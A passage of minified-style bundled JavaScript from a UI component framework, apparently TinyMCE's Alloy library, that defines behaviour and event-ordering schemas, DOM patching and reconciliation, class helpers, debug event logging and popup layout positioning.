            throw new Error('The ordering for ' + label + ' does not have an entry for ' + bKey + '.\nOrder specified: ' + JSON.stringify(order, null, 2));
          }
          if (aIndex < bIndex) {
            return -1;
          } else if (bIndex < aIndex) {
            return 1;
          } else {
            return 0;
          }
        });
        return Result.value(sorted);
      } catch (err) {
        return Result.error([err]);
      }
    };

    const uncurried = (handler, purpose) => ({
      handler,
      purpose
    });
    const curried = (handler, purpose) => ({
      cHandler: handler,
      purpose
    });
    const curryArgs = (descHandler, extraArgs) => curried(curry.apply(undefined, [descHandler.handler].concat(extraArgs)), descHandler.purpose);
    const getCurried = descHandler => descHandler.cHandler;

    const behaviourTuple = (name, handler) => ({
      name,
      handler
    });
    const nameToHandlers = (behaviours, info) => {
      const r = {};
      each$1(behaviours, behaviour => {
        r[behaviour.name()] = behaviour.handlers(info);
      });
      return r;
    };
    const groupByEvents = (info, behaviours, base) => {
      const behaviourEvents = {
        ...base,
        ...nameToHandlers(behaviours, info)
      };
      return byInnerKey(behaviourEvents, behaviourTuple);
    };
    const combine$1 = (info, eventOrder, behaviours, base) => {
      const byEventName = groupByEvents(info, behaviours, base);
      return combineGroups(byEventName, eventOrder);
    };
    const assemble = rawHandler => {
      const handler = read$2(rawHandler);
      return (component, simulatedEvent, ...rest) => {
        const args = [
          component,
          simulatedEvent
        ].concat(rest);
        if (handler.abort.apply(undefined, args)) {
          simulatedEvent.stop();
        } else if (handler.can.apply(undefined, args)) {
          handler.run.apply(undefined, args);
        }
      };
    };
    const missingOrderError = (eventName, tuples) => Result.error(['The event (' + eventName + ') has more than one behaviour that listens to it.\nWhen this occurs, you must ' + 'specify an event ordering for the behaviours in your spec (e.g. [ "listing", "toggling" ]).\nThe behaviours that ' + 'can trigger it are: ' + JSON.stringify(map$2(tuples, c => c.name), null, 2)]);
    const fuse = (tuples, eventOrder, eventName) => {
      const order = eventOrder[eventName];
      if (!order) {
        return missingOrderError(eventName, tuples);
      } else {
        return sortKeys('Event: ' + eventName, 'name', tuples, order).map(sortedTuples => {
          const handlers = map$2(sortedTuples, tuple => tuple.handler);
          return fuse$1(handlers);
        });
      }
    };
    const combineGroups = (byEventName, eventOrder) => {
      const r = mapToArray(byEventName, (tuples, eventName) => {
        const combined = tuples.length === 1 ? Result.value(tuples[0].handler) : fuse(tuples, eventOrder, eventName);
        return combined.map(handler => {
          const assembled = assemble(handler);
          const purpose = tuples.length > 1 ? filter$2(eventOrder[eventName], o => exists(tuples, t => t.name === o)).join(' > ') : tuples[0].name;
          return wrap$1(eventName, uncurried(assembled, purpose));
        });
      });
      return consolidate(r, {});
    };

    const baseBehaviour = 'alloy.base.behaviour';
    const schema$z = objOf([
      field$1('dom', 'dom', required$2(), objOf([
        required$1('tag'),
        defaulted('styles', {}),
        defaulted('classes', []),
        defaulted('attributes', {}),
        option$3('value'),
        option$3('innerHtml')
      ])),
      required$1('components'),
      required$1('uid'),
      defaulted('events', {}),
      defaulted('apis', {}),
      field$1('eventOrder', 'eventOrder', mergeWith({
        [execute$5()]: [
          'disabling',
          baseBehaviour,
          'toggling',
          'typeaheadevents'
        ],
        [focus$4()]: [
          baseBehaviour,
          'focusing',
          'keying'
        ],
        [systemInit()]: [
          baseBehaviour,
          'disabling',
          'toggling',
          'representing'
        ],
        [input()]: [
          baseBehaviour,
          'representing',
          'streaming',
          'invalidating'
        ],
        [detachedFromDom()]: [
          baseBehaviour,
          'representing',
          'item-events',
          'tooltipping'
        ],
        [mousedown()]: [
          'focusing',
          baseBehaviour,
          'item-type-events'
        ],
        [touchstart()]: [
          'focusing',
          baseBehaviour,
          'item-type-events'
        ],
        [mouseover()]: [
          'item-type-events',
          'tooltipping'
        ],
        [receive()]: [
          'receiving',
          'reflecting',
          'tooltipping'
        ]
      }), anyValue()),
      option$3('domModification')
    ]);
    const toInfo = spec => asRaw('custom.definition', schema$z, spec);
    const toDefinition = detail => ({
      ...detail.dom,
      uid: detail.uid,
      domChildren: map$2(detail.components, comp => comp.element)
    });
    const toModification = detail => detail.domModification.fold(() => nu$7({}), nu$7);
    const toEvents = info => info.events;

    const read = (element, attr) => {
      const value = get$f(element, attr);
      return value === undefined || value === '' ? [] : value.split(' ');
    };
    const add$4 = (element, attr, id) => {
      const old = read(element, attr);
      const nu = old.concat([id]);
      set$9(element, attr, nu.join(' '));
      return true;
    };
    const remove$4 = (element, attr, id) => {
      const nu = filter$2(read(element, attr), v => v !== id);
      if (nu.length > 0) {
        set$9(element, attr, nu.join(' '));
      } else {
        remove$7(element, attr);
      }
      return false;
    };

    const supports = element => element.dom.classList !== undefined;
    const get$8 = element => read(element, 'class');
    const add$3 = (element, clazz) => add$4(element, 'class', clazz);
    const remove$3 = (element, clazz) => remove$4(element, 'class', clazz);

    const add$2 = (element, clazz) => {
      if (supports(element)) {
        element.dom.classList.add(clazz);
      } else {
        add$3(element, clazz);
      }
    };
    const cleanClass = element => {
      const classList = supports(element) ? element.dom.classList : get$8(element);
      if (classList.length === 0) {
        remove$7(element, 'class');
      }
    };
    const remove$2 = (element, clazz) => {
      if (supports(element)) {
        const classList = element.dom.classList;
        classList.remove(clazz);
      } else {
        remove$3(element, clazz);
      }
      cleanClass(element);
    };
    const has = (element, clazz) => supports(element) && element.dom.classList.contains(clazz);

    const add$1 = (element, classes) => {
      each$1(classes, x => {
        add$2(element, x);
      });
    };
    const remove$1 = (element, classes) => {
      each$1(classes, x => {
        remove$2(element, x);
      });
    };
    const hasAll = (element, classes) => forall(classes, clazz => has(element, clazz));
    const getNative = element => {
      const classList = element.dom.classList;
      const r = new Array(classList.length);
      for (let i = 0; i < classList.length; i++) {
        const item = classList.item(i);
        if (item !== null) {
          r[i] = item;
        }
      }
      return r;
    };
    const get$7 = element => supports(element) ? getNative(element) : get$8(element);

    const get$6 = element => element.dom.value;
    const set$5 = (element, value) => {
      if (value === undefined) {
        throw new Error('Value.set was undefined');
      }
      element.dom.value = value;
    };

    const determineObsoleted = (parent, index, oldObsoleted) => {
      const newObsoleted = child$2(parent, index);
      return newObsoleted.map(newObs => {
        const elemChanged = oldObsoleted.exists(o => !eq(o, newObs));
        if (elemChanged) {
          const oldTag = oldObsoleted.map(name$3).getOr('span');
          const marker = SugarElement.fromTag(oldTag);
          before$1(newObs, marker);
          return marker;
        } else {
          return newObs;
        }
      });
    };
    const ensureInDom = (parent, child, obsoleted) => {
      obsoleted.fold(() => append$2(parent, child), obs => {
        if (!eq(obs, child)) {
          before$1(obs, child);
          remove$5(obs);
        }
      });
    };
    const patchChildrenWith = (parent, nu, f) => {
      const builtChildren = map$2(nu, f);
      const currentChildren = children(parent);
      each$1(currentChildren.slice(builtChildren.length), remove$5);
      return builtChildren;
    };
    const patchSpecChild = (parent, index, spec, build) => {
      const oldObsoleted = child$2(parent, index);
      const childComp = build(spec, oldObsoleted);
      const obsoleted = determineObsoleted(parent, index, oldObsoleted);
      ensureInDom(parent, childComp.element, obsoleted);
      return childComp;
    };
    const patchSpecChildren = (parent, specs, build) => patchChildrenWith(parent, specs, (spec, index) => patchSpecChild(parent, index, spec, build));
    const patchDomChildren = (parent, nodes) => patchChildrenWith(parent, nodes, (node, index) => {
      const optObsoleted = child$2(parent, index);
      ensureInDom(parent, node, optObsoleted);
      return node;
    });

    const diffKeyValueSet = (newObj, oldObj) => {
      const newKeys = keys(newObj);
      const oldKeys = keys(oldObj);
      const toRemove = difference(oldKeys, newKeys);
      const toSet = bifilter(newObj, (v, k) => {
        return !has$2(oldObj, k) || v !== oldObj[k];
      }).t;
      return {
        toRemove,
        toSet
      };
    };
    const reconcileToDom = (definition, obsoleted) => {
      const {
        class: clazz,
        style,
        ...existingAttributes
      } = clone$2(obsoleted);
      const {
        toSet: attrsToSet,
        toRemove: attrsToRemove
      } = diffKeyValueSet(definition.attributes, existingAttributes);
      const updateAttrs = () => {
        each$1(attrsToRemove, a => remove$7(obsoleted, a));
        setAll$1(obsoleted, attrsToSet);
      };
      const existingStyles = getAllRaw(obsoleted);
      const {
        toSet: stylesToSet,
        toRemove: stylesToRemove
      } = diffKeyValueSet(definition.styles, existingStyles);
      const updateStyles = () => {
        each$1(stylesToRemove, s => remove$6(obsoleted, s));
        setAll(obsoleted, stylesToSet);
      };
      const existingClasses = get$7(obsoleted);
      const classesToRemove = difference(existingClasses, definition.classes);
      const classesToAdd = difference(definition.classes, existingClasses);
      const updateClasses = () => {
        add$1(obsoleted, classesToAdd);
        remove$1(obsoleted, classesToRemove);
      };
      const updateHtml = html => {
        set$6(obsoleted, html);
      };
      const updateChildren = () => {
        const children = definition.domChildren;
        patchDomChildren(obsoleted, children);
      };
      const updateValue = () => {
        const valueElement = obsoleted;
        const value = definition.value.getOrUndefined();
        if (value !== get$6(valueElement)) {
          set$5(valueElement, value !== null && value !== void 0 ? value : '');
        }
      };
      updateAttrs();
      updateClasses();
      updateStyles();
      definition.innerHtml.fold(updateChildren, updateHtml);
      updateValue();
      return obsoleted;
    };

    const introduceToDom = definition => {
      const subject = SugarElement.fromTag(definition.tag);
      setAll$1(subject, definition.attributes);
      add$1(subject, definition.classes);
      setAll(subject, definition.styles);
      definition.innerHtml.each(html => set$6(subject, html));
      const children = definition.domChildren;
      append$1(subject, children);
      definition.value.each(value => {
        set$5(subject, value);
      });
      return subject;
    };
    const attemptPatch = (definition, obsoleted) => {
      try {
        const e = reconcileToDom(definition, obsoleted);
        return Optional.some(e);
      } catch (err) {
        return Optional.none();
      }
    };
    const hasMixedChildren = definition => definition.innerHtml.isSome() && definition.domChildren.length > 0;
    const renderToDom = (definition, optObsoleted) => {
      const canBePatched = candidate => name$3(candidate) === definition.tag && !hasMixedChildren(definition) && !isPremade(candidate);
      const elem = optObsoleted.filter(canBePatched).bind(obsoleted => attemptPatch(definition, obsoleted)).getOrThunk(() => introduceToDom(definition));
      writeOnly(elem, definition.uid);
      return elem;
    };

    const getBehaviours$2 = spec => {
      const behaviours = get$g(spec, 'behaviours').getOr({});
      return bind$3(keys(behaviours), name => {
        const behaviour = behaviours[name];
        return isNonNullable(behaviour) ? [behaviour.me] : [];
      });
    };
    const generateFrom = (spec, all) => generateFrom$1(spec, all);
    const generate$4 = spec => {
      const all = getBehaviours$2(spec);
      return generateFrom(spec, all);
    };

    const getDomDefinition = (info, bList, bData) => {
      const definition = toDefinition(info);
      const infoModification = toModification(info);
      const baseModification = { 'alloy.base.modification': infoModification };
      const modification = bList.length > 0 ? combine$2(bData, baseModification, bList, definition) : infoModification;
      return merge(definition, modification);
    };
    const getEvents = (info, bList, bData) => {
      const baseEvents = { 'alloy.base.behaviour': toEvents(info) };
      return combine$1(bData, info.eventOrder, bList, baseEvents).getOrDie();
    };
    const build$2 = (spec, obsoleted) => {
      const getMe = () => me;
      const systemApi = Cell(singleton$1);
      const info = getOrDie(toInfo(spec));
      const bBlob = generate$4(spec);
      const bList = getBehaviours$3(bBlob);
      const bData = getData$2(bBlob);
      const modDefinition = getDomDefinition(info, bList, bData);
      const item = renderToDom(modDefinition, obsoleted);
      const events = getEvents(info, bList, bData);
      const subcomponents = Cell(info.components);
      const connect = newApi => {
        systemApi.set(newApi);
      };
      const disconnect = () => {
        systemApi.set(NoContextApi(getMe));
      };
      const syncComponents = () => {
        const children$1 = children(item);
        const subs = bind$3(children$1, child => systemApi.get().getByDom(child).fold(() => [], pure$2));
        subcomponents.set(subs);
      };
      const config = behaviour => {
        const b = bData;
        const f = isFunction(b[behaviour.name()]) ? b[behaviour.name()] : () => {
          throw new Error('Could not find ' + behaviour.name() + ' in ' + JSON.stringify(spec, null, 2));
        };
        return f();
      };
      const hasConfigured = behaviour => isFunction(bData[behaviour.name()]);
      const getApis = () => info.apis;
      const readState = behaviourName => bData[behaviourName]().map(b => b.state.readState()).getOr('not enabled');
      const me = {
        uid: spec.uid,
        getSystem: systemApi.get,
        config,
        hasConfigured,
        spec,
        readState,
        getApis,
        connect,
        disconnect,
        element: item,
        syncComponents,
        components: subcomponents.get,
        events
      };
      return me;
    };

    const buildSubcomponents = (spec, obsoleted) => {
      const components = get$g(spec, 'components').getOr([]);
      return obsoleted.fold(() => map$2(components, build$1), obs => map$2(components, (c, i) => {
        return buildOrPatch(c, child$2(obs, i));
      }));
    };
    const buildFromSpec = (userSpec, obsoleted) => {
      const {
        events: specEvents,
        ...spec
      } = make$8(userSpec);
      const components = buildSubcomponents(spec, obsoleted);
      const completeSpec = {
        ...spec,
        events: {
          ...DefaultEvents,
          ...specEvents
        },
        components
      };
      return Result.value(build$2(completeSpec, obsoleted));
    };
    const text$2 = textContent => {
      const element = SugarElement.fromText(textContent);
      return external$1({ element });
    };
    const external$1 = spec => {
      const extSpec = asRawOrDie$1('external.component', objOfOnly([
        required$1('element'),
        option$3('uid')
      ]), spec);
      const systemApi = Cell(NoContextApi());
      const connect = newApi => {
        systemApi.set(newApi);
      };
      const disconnect = () => {
        systemApi.set(NoContextApi(() => me));
      };
      const uid = extSpec.uid.getOrThunk(() => generate$5('external'));
      writeOnly(extSpec.element, uid);
      const me = {
        uid,
        getSystem: systemApi.get,
        config: Optional.none,
        hasConfigured: never,
        connect,
        disconnect,
        getApis: () => ({}),
        element: extSpec.element,
        spec,
        readState: constant$1('No state'),
        syncComponents: noop,
        components: constant$1([]),
        events: {}
      };
      return premade$1(me);
    };
    const uids = generate$5;
    const isSketchSpec$1 = spec => has$2(spec, 'uid');
    const buildOrPatch = (spec, obsoleted) => getPremade(spec).getOrThunk(() => {
      const userSpecWithUid = isSketchSpec$1(spec) ? spec : {
        uid: uids(''),
        ...spec
      };
      return buildFromSpec(userSpecWithUid, obsoleted).getOrDie();
    });
    const build$1 = spec => buildOrPatch(spec, Optional.none());
    const premade = premade$1;

    var ClosestOrAncestor = (is, ancestor, scope, a, isRoot) => {
      if (is(scope, a)) {
        return Optional.some(scope);
      } else if (isFunction(isRoot) && isRoot(scope)) {
        return Optional.none();
      } else {
        return ancestor(scope, a, isRoot);
      }
    };

    const ancestor$1 = (scope, predicate, isRoot) => {
      let element = scope.dom;
      const stop = isFunction(isRoot) ? isRoot : never;
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        if (predicate(el)) {
          return Optional.some(el);
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };
    const closest$3 = (scope, predicate, isRoot) => {
      const is = (s, test) => test(s);
      return ClosestOrAncestor(is, ancestor$1, scope, predicate, isRoot);
    };
    const child$1 = (scope, predicate) => {
      const pred = node => predicate(SugarElement.fromDom(node));
      const result = find$5(scope.dom.childNodes, pred);
      return result.map(SugarElement.fromDom);
    };
    const descendant$1 = (scope, predicate) => {
      const descend = node => {
        for (let i = 0; i < node.childNodes.length; i++) {
          const child = SugarElement.fromDom(node.childNodes[i]);
          if (predicate(child)) {
            return Optional.some(child);
          }
          const res = descend(node.childNodes[i]);
          if (res.isSome()) {
            return res;
          }
        }
        return Optional.none();
      };
      return descend(scope.dom);
    };

    const closest$2 = (scope, predicate, isRoot) => closest$3(scope, predicate, isRoot).isSome();

    const ancestor = (scope, selector, isRoot) => ancestor$1(scope, e => is(e, selector), isRoot);
    const child = (scope, selector) => child$1(scope, e => is(e, selector));
    const descendant = (scope, selector) => one(selector, scope);
    const closest$1 = (scope, selector, isRoot) => {
      const is$1 = (element, selector) => is(element, selector);
      return ClosestOrAncestor(is$1, ancestor, scope, selector, isRoot);
    };

    const attribute = 'aria-controls';
    const find$1 = queryElem => {
      const dependent = closest$3(queryElem, elem => {
        if (!isElement$1(elem)) {
          return false;
        }
        const id = get$f(elem, 'id');
        return id !== undefined && id.indexOf(attribute) > -1;
      });
      return dependent.bind(dep => {
        const id = get$f(dep, 'id');
        const dos = getRootNode(dep);
        return descendant(dos, `[${ attribute }="${ id }"]`);
      });
    };
    const manager = () => {
      const ariaId = generate$6(attribute);
      const link = elem => {
        set$9(elem, attribute, ariaId);
      };
      const unlink = elem => {
        remove$7(elem, attribute);
      };
      return {
        id: ariaId,
        link,
        unlink
      };
    };

    const isAriaPartOf = (component, queryElem) => find$1(queryElem).exists(owner => isPartOf$1(component, owner));
    const isPartOf$1 = (component, queryElem) => closest$2(queryElem, el => eq(el, component.element), never) || isAriaPartOf(component, queryElem);

    const unknown = 'unknown';
    var EventConfiguration;
    (function (EventConfiguration) {
      EventConfiguration[EventConfiguration['STOP'] = 0] = 'STOP';
      EventConfiguration[EventConfiguration['NORMAL'] = 1] = 'NORMAL';
      EventConfiguration[EventConfiguration['LOGGING'] = 2] = 'LOGGING';
    }(EventConfiguration || (EventConfiguration = {})));
    const eventConfig = Cell({});
    const makeEventLogger = (eventName, initialTarget) => {
      const sequence = [];
      const startTime = new Date().getTime();
      return {
        logEventCut: (_name, target, purpose) => {
          sequence.push({
            outcome: 'cut',
            target,
            purpose
          });
        },
        logEventStopped: (_name, target, purpose) => {
          sequence.push({
            outcome: 'stopped',
            target,
            purpose
          });
        },
        logNoParent: (_name, target, purpose) => {
          sequence.push({
            outcome: 'no-parent',
            target,
            purpose
          });
        },
        logEventNoHandlers: (_name, target) => {
          sequence.push({
            outcome: 'no-handlers-left',
            target
          });
        },
        logEventResponse: (_name, target, purpose) => {
          sequence.push({
            outcome: 'response',
            purpose,
            target
          });
        },
        write: () => {
          const finishTime = new Date().getTime();
          if (contains$2([
              'mousemove',
              'mouseover',
              'mouseout',
              systemInit()
            ], eventName)) {
            return;
          }
          console.log(eventName, {
            event: eventName,
            time: finishTime - startTime,
            target: initialTarget.dom,
            sequence: map$2(sequence, s => {
              if (!contains$2([
                  'cut',
                  'stopped',
                  'response'
                ], s.outcome)) {
                return s.outcome;
              } else {
                return '{' + s.purpose + '} ' + s.outcome + ' at (' + element(s.target) + ')';
              }
            })
          });
        }
      };
    };
    const processEvent = (eventName, initialTarget, f) => {
      const status = get$g(eventConfig.get(), eventName).orThunk(() => {
        const patterns = keys(eventConfig.get());
        return findMap(patterns, p => eventName.indexOf(p) > -1 ? Optional.some(eventConfig.get()[p]) : Optional.none());
      }).getOr(EventConfiguration.NORMAL);
      switch (status) {
      case EventConfiguration.NORMAL:
        return f(noLogger());
      case EventConfiguration.LOGGING: {
          const logger = makeEventLogger(eventName, initialTarget);
          const output = f(logger);
          logger.write();
          return output;
        }
      case EventConfiguration.STOP:
        return true;
      }
    };
    const path = [
      'alloy/data/Fields',
      'alloy/debugging/Debugging'
    ];
    const getTrace = () => {
      const err = new Error();
      if (err.stack !== undefined) {
        const lines = err.stack.split('\n');
        return find$5(lines, line => line.indexOf('alloy') > 0 && !exists(path, p => line.indexOf(p) > -1)).getOr(unknown);
      } else {
        return unknown;
      }
    };
    const ignoreEvent = {
      logEventCut: noop,
      logEventStopped: noop,
      logNoParent: noop,
      logEventNoHandlers: noop,
      logEventResponse: noop,
      write: noop
    };
    const monitorEvent = (eventName, initialTarget, f) => processEvent(eventName, initialTarget, f);
    const noLogger = constant$1(ignoreEvent);

    const menuFields = constant$1([
      required$1('menu'),
      required$1('selectedMenu')
    ]);
    const itemFields = constant$1([
      required$1('item'),
      required$1('selectedItem')
    ]);
    constant$1(objOf(itemFields().concat(menuFields())));
    const itemSchema$3 = constant$1(objOf(itemFields()));

    const _initSize = requiredObjOf('initSize', [
      required$1('numColumns'),
      required$1('numRows')
    ]);
    const itemMarkers = () => requiredOf('markers', itemSchema$3());
    const tieredMenuMarkers = () => requiredObjOf('markers', [required$1('backgroundMenu')].concat(menuFields()).concat(itemFields()));
    const markers$1 = required => requiredObjOf('markers', map$2(required, required$1));
    const onPresenceHandler = (label, fieldName, presence) => {
      getTrace();
      return field$1(fieldName, fieldName, presence, valueOf(f => Result.value((...args) => {
        return f.apply(undefined, args);
      })));
    };
    const onHandler = fieldName => onPresenceHandler('onHandler', fieldName, defaulted$1(noop));
    const onKeyboardHandler = fieldName => onPresenceHandler('onKeyboardHandler', fieldName, defaulted$1(Optional.none));
    const onStrictHandler = fieldName => onPresenceHandler('onHandler', fieldName, required$2());
    const onStrictKeyboardHandler = fieldName => onPresenceHandler('onKeyboardHandler', fieldName, required$2());
    const output$1 = (name, value) => customField(name, constant$1(value));
    const snapshot = name => customField(name, identity);
    const initSize = constant$1(_initSize);

    const nu$6 = (x, y, bubble, direction, placement, boundsRestriction, labelPrefix, alwaysFit = false) => ({
      x,
      y,
      bubble,
      direction,
      placement,
      restriction: boundsRestriction,
      label: `${ labelPrefix }-${ placement }`,
      alwaysFit
    });

    const adt$a = Adt.generate([
      { southeast: [] },
      { southwest: [] },
      { northeast: [] },
      { northwest: [] },
      { south: [] },
      { north: [] },
      { east: [] },
      { west: [] }
    ]);
    const cata$2 = (subject, southeast, southwest, northeast, northwest, south, north, east, west) => subject.fold(southeast, southwest, northeast, northwest, south, north, east, west);
    const cataVertical = (subject, south, middle, north) => subject.fold(south, south, north, north, south, north, middle, middle);
    const cataHorizontal = (subject, east, middle, west) => subject.fold(east, west, east, west, middle, middle, east, west);
    const southeast$3 = adt$a.southeast;
    const southwest$3 = adt$a.southwest;
    const northeast$3 = adt$a.northeast;
    const northwest$3 = adt$a.northwest;
    const south$3 = adt$a.south;
    const north$3 = adt$a.north;
    const east$3 = adt$a.east;
    const west$3 = adt$a.west;

    const cycleBy = (value, delta, min, max) => {
      const r = value + delta;
      if (r > max) {
        return min;
      } else if (r < min) {
        return max;
      } else {
        return r;
      }
    };
    const clamp = (value, min, max) => Math.min(Math.max(value, min), max);

    const getRestriction = (anchor, restriction) => {
      switch (restriction) {
      case 1:
        return anchor.x;
      case 0:
        return anchor.x + anchor.width;
      case 2:
        return anchor.y;
      case 3:
        return anchor.y + anchor.height;
      }
    };
    const boundsRestriction = (anchor, restrictions) => mapToObject([
      'left',
      'right',
      'top',
      'bottom'
    ], dir => get$g(restrictions, dir).map(restriction => getRestriction(anchor, restriction)));
    const adjustBounds = (bounds$1, restriction, bubbleOffset) => {
      const applyRestriction = (dir, current) => restriction[dir].map(pos => {
        const isVerticalAxis = dir === 'top' || dir === 'bottom';
        const offset = isVerticalAxis ? bubbleOffset.top : bubbleOffset.left;
        const comparator = dir === 'left' || dir === 'top' ? Math.max : Math.min;
        const newPos = comparator(pos, current) + offset;
        return isVerticalAxis ? clamp(newPos, bounds$1.y, bounds$1.bottom) : clamp(newPos, bounds$1.x, bounds$1.right);
      }).getOr(current);
      const adjustedLeft = applyRestriction('left', bounds$1.x);
      const adjustedTop = applyRestriction('top', bounds$1.y);
      const adjustedRight = applyRestriction('right', bounds$1.right);
      const adjustedBottom = applyRestriction('bottom', bounds$1.bottom);
      return bounds(adjustedLeft, adjustedTop, adjustedRight - adjustedLeft, adjustedBottom - adjustedTop);
    };

    const labelPrefix$2 = 'layout';
    const eastX$1 = anchor => anchor.x;
    const middleX$1 = (anchor, element) => anchor.x + anchor.width / 2 - element.width / 2;
    const westX$1 = (anchor, element) => anchor.x + anchor.width - element.width;
    const northY$2 = (anchor, element) => anchor.y - element.height;
    const southY$2 = anchor => anchor.y + anchor.height;
    const centreY$1 = (anchor, element) => anchor.y + anchor.height / 2 - element.height / 2;
    const eastEdgeX$1 = anchor => anchor.x + anchor.width;
    const westEdgeX$1 = (anchor, element) => anchor.x - element.width;
    const southeast$2 = (anchor, element, bubbles) => nu$6(eastX$1(anchor), southY$2(anchor), bubbles.southeast(), southeast$3(), 'southeast', boundsRestriction(anchor, {
      left: 1,
      top: 3
    }), labelPrefix$2);
    const southwest$2 = (anchor, element, bubbles) => nu$6(westX$1(anchor, element), southY$2(anchor), bubbles.southwest(), southwest$3(), 'southwest', boundsRestriction(anchor, {
      right: 0,
      top: 3
    }), labelPrefix$2);
    const northeast$2 = (anchor, element, bubbles) => nu$6(eastX$1(anchor), northY$2(anchor, element), bubbles.northeast(), northeast$3(), 'northeast', boundsRestriction(anchor, {
      left: 1,
      bottom: 2
    }), labelPrefix$2);
    const northwest$2 = (anchor, element, bubbles) => nu$6(westX$1(anchor, element), northY$2(anchor, element), bubbles.northwest(), northwest$3(), 'northwest', boundsRestriction(anchor, {
      right: 0,
      bottom: 2
    }), labelPrefix$2);
    const north$2 = (anchor, element, bubbles) => nu$6(middleX$1(anchor, element), northY$2(anchor, element), bubbles.north(), north$3(), 'north', boundsRestriction(anchor, { bottom: 2 }), labelPrefix$2);
    const south$2 = (anchor, element, bubbles) => nu$6(middleX$1(anchor, element), southY$2(anchor), bubbles.south(), south$3(), 'south', boundsRestriction(anchor, { top: 3 }), labelPrefix$2);
    const east$2 = (anchor, element, bubbles) => nu$6(eastEdgeX$1(anchor), centreY$1(anchor, element), bubbles.east(), east$3(), 'east', boundsRestriction(anchor, { left: 0 }), labelPrefix$2);
    const west$2 = (anchor, element, bubbles) => nu$6(westEdgeX$1(anchor, element), centreY$1(anchor, element), bubbles.west(), west$3(), 'west', boundsRestriction(anchor, { right: 1 }), labelPrefix$2);
    const all$1 = () => [
      southeast$2,
      southwest$2,
      northeast$2,
      northwest$2,
      south$2,
      north$2,
      east$2,
      west$2
    ];
    const allRtl$1 = () => [
      southwest$2,
      southeast$2,
      northwest$2,
      northeast$2,
      south$2,
      north$2,
      east$2,
      west$2
    ];
    const aboveOrBelow = () => [
      northeast$2,
      northwest$2,
      southeast$2,
      southwest$2,
      north$2,
      south$2
    ];
    const aboveOrBelowRtl = () => [
      northwest$2,
      northeast$2,
      southwest$2,
      southeast$2,
      north$2,
      south$2
    ];
    const belowOrAbove = () => [
      southeast$2,
      southwest$2,
      northeast$2,
      northwest$2,
      south$2,
      north$2
    ];
    const belowOrAboveRtl = () => [
      southwest$2,
      southeast$2,
      northwest$2,
      northeast$2,
      south$2,
      north$2
    ];

    const chooseChannels = (channels, message) => message.universal ? channels : filter$2(channels, ch => contains$2(message.channels, ch));
    const events$h = receiveConfig => derive$2([run$1(receive(), (component, message) => {
        const channelMap = receiveConfig.channels;
        const channels = keys(channelMap);
        const receivingData = message;
        const targetChannels = chooseChannels(channels, receivingData);
        each$1(targetChannels, ch => {
          const channelInfo = channelMap[ch];
          const channelSchema = channelInfo.schema;
          const data = asRawOrDie$1('channel[' + ch + '] data\nReceiver: ' + element(component.element), channelSchema, receivingData.data);
          channelInfo.onReceive(component, data);
        });
      })]);

    var ActiveReceiving = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$h
    });

    var ReceivingSchema = [requiredOf('channels', setOf(Result.value, objOfOnly([
        onStrictHandler('onReceive'),
        defaulted('schema', anyValue())
      ])))];

    const executeEvent = (bConfig, bState, executor) => runOnExecute$1(component => {
      executor(component, bConfig, bState);
    });
    const loadEvent = (bConfig, bState, f) => runOnInit((component, _simulatedEvent) => {
      f(component, bConfig, bState);
    });
    const create$5 = (schema, name, active, apis, extra, state) => {
      const configSchema = objOfOnly(schema);
      const schemaSchema = optionObjOf(name, [optionObjOfOnly('config', schema)]);
      return doCreate(configSchema, schemaSchema, name, active, apis, extra, state);
    };
    const createModes$1 = (modes, name, active, apis, extra, state) => {
      const configSchema = modes;
      const schemaSchema = optionObjOf(name, [optionOf('config', modes)]);
      return doCreate(configSchema, schemaSchema, name, active, apis, extra, state);
    };
    const wrapApi = (bName, apiFunction, apiName) => {
      const f = (component, ...rest) => {
        const args = [component].concat(rest);
        return component.config({ name: constant$1(bName) }).fold(() => {
          throw new Error('We could not find any behaviour configuration for: ' + bName + '. Using API: ' + apiName);
        }, info => {
          const rest = Array.prototype.slice.call(args, 1);
          return apiFunction.apply(undefined, [
            component,
            info.config,
            info.state
          ].concat(rest));
        });
      };
      return markAsBehaviourApi(f, apiName, apiFunction);
    };
    const revokeBehaviour = name => ({
      key: name,
      value: undefined
    });
    const doCreate = (configSchema, schemaSchema, name, active, apis, extra, state) => {
      const getConfig = info => hasNonNullableKey(info, name) ? info[name]() : Optional.none();
      const wrappedApis = map$1(apis, (apiF, apiName) => wrapApi(name, apiF, apiName));
      const wrappedExtra = map$1(extra, (extraF, extraName) => markAsExtraApi(extraF, extraName));
      const me = {
        ...wrappedExtra,
        ...wrappedApis,
        revoke: curry(revokeBehaviour, name),
        config: spec => {
          const prepared = asRawOrDie$1(name + '-config', configSchema, spec);
          return {
            key: name,
            value: {
              config: prepared,
              me,
              configAsRaw: cached(() => asRawOrDie$1(name + '-config', configSchema, spec)),
              initialConfig: spec,
              state
            }
          };
        },
        schema: constant$1(schemaSchema),
        exhibit: (info, base) => {
          return lift2(getConfig(info), get$g(active, 'exhibit'), (behaviourInfo, exhibitor) => {
            return exhibitor(base, behaviourInfo.config, behaviourInfo.state);
          }).getOrThunk(() => nu$7({}));
        },
        name: constant$1(name),
        handlers: info => {
          return getConfig(info).map(behaviourInfo => {
            const getEvents = get$g(active, 'events').getOr(() => ({}));
            return getEvents(behaviourInfo.config, behaviourInfo.state);
          }).getOr({});
        }
      };
      return me;
    };

    const derive$1 = capabilities => wrapAll(capabilities);
    const simpleSchema = objOfOnly([
      required$1('fields'),
      required$1('name'),
      defaulted('active', {}),
      defaulted('apis', {}),
      defaulted('state', NoState),
      defaulted('extra', {})
    ]);
    const create$4 = data => {
      const value = asRawOrDie$1('Creating behaviour: ' + data.name, simpleSchema, data);
      return create$5(value.fields, value.name, value.active, value.apis, value.extra, value.state);
    };
    const modeSchema = objOfOnly([
      required$1('branchKey'),
      required$1('branches'),
      required$1('name'),
      defaulted('active', {}),
      defaulted('apis', {}),
      defaulted('state', NoState),
      defaulted('extra', {})
    ]);
    const createModes = data => {
      const value = asRawOrDie$1('Creating behaviour: ' + data.name, modeSchema, data);
      return createModes$1(choose$1(value.branchKey, value.branches), value.name, value.active, value.apis, value.extra, value.state);
    };
    const revoke = constant$1(undefined);

    const Receiving = create$4({
      fields: ReceivingSchema,
      name: 'receiving',
      active: ActiveReceiving
    });

    const exhibit$6 = (base, posConfig) => nu$7({
      classes: [],
      styles: posConfig.useFixed() ? {} : { position: 'relative' }
    });

